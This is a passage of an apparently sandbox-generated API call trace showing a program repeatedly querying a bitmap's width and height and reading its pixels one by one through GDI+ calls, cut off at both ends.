y=53, color=0x636e0f0) returned 0x0 [0224.718] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.718] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.718] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=54, color=0x636e0f0) returned 0x0 [0224.718] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.718] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.718] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=55, color=0x636e0f0) returned 0x0 [0224.718] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.718] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.718] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=56, color=0x636e0f0) returned 0x0 [0224.718] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.718] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.718] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=57, color=0x636e0f0) returned 0x0 [0224.718] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.718] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.718] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=58, color=0x636e0f0) returned 0x0 [0224.718] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.718] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.718] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=59, color=0x636e0f0) returned 0x0 [0224.718] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.718] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.718] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=60, color=0x636e0f0) returned 0x0 [0224.718] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.718] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.719] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=61, color=0x636e0f0) returned 0x0 [0224.719] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.719] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.719] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=62, color=0x636e0f0) returned 0x0 [0224.719] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.719] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.719] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=63, color=0x636e0f0) returned 0x0 [0224.719] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.719] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.719] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=64, color=0x636e0f0) returned 0x0 [0224.719] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.719] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.719] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=65, color=0x636e0f0) returned 0x0 [0224.719] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.719] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.719] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=66, color=0x636e0f0) returned 0x0 [0224.719] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.719] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.719] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=67, color=0x636e0f0) returned 0x0 [0224.719] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.719] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.719] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=68, color=0x636e0f0) returned 0x0 [0224.719] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.719] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=69, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=70, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=71, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=72, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=73, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=74, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=75, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=76, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.720] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=77, color=0x636e0f0) returned 0x0 [0224.720] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.720] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=78, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e104) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=0, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=1, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=2, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=3, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=4, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=5, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=6, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.721] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.721] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=7, color=0x636e0f0) returned 0x0 [0224.721] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=8, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=9, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=10, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=11, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=12, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=13, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=14, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=15, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=16, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=17, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.722] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=18, color=0x636e0f0) returned 0x0 [0224.722] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.722] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=19, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=20, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=21, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=22, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=23, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=24, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=25, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=26, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=27, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=28, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=29, color=0x636e0f0) returned 0x0 [0224.723] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.723] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.723] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=30, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=31, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=32, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=33, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=34, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=35, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=36, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=37, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=38, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=39, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=40, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.724] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=41, color=0x636e0f0) returned 0x0 [0224.724] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.724] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=42, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=43, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=44, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=45, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=46, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=47, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=48, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=49, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=50, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=51, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=52, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.725] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.725] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=53, color=0x636e0f0) returned 0x0 [0224.725] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=54, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=55, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=56, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=57, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=58, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=59, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=60, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=61, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=62, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=63, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=64, color=0x636e0f0) returned 0x0 [0224.726] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.726] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.726] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=65, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=66, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=67, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=68, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=69, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=70, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=71, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=72, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=73, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=74, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=75, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.727] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=76, color=0x636e0f0) returned 0x0 [0224.727] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.727] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.728] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=77, color=0x636e0f0) returned 0x0 [0224.728] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.728] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.728] GdipBitmapGetPixel (bitmap=0x4da5600, x=1, y=78, color=0x636e0f0) returned 0x0 [0224.728] GdipGetImageHeight (image=0x4da5600, height=0x636e104) returned 0x0 [0224.728] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.728] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.728] GdipBitmapGetPixel (bitmap=0x4da5600, x=2, y=0, 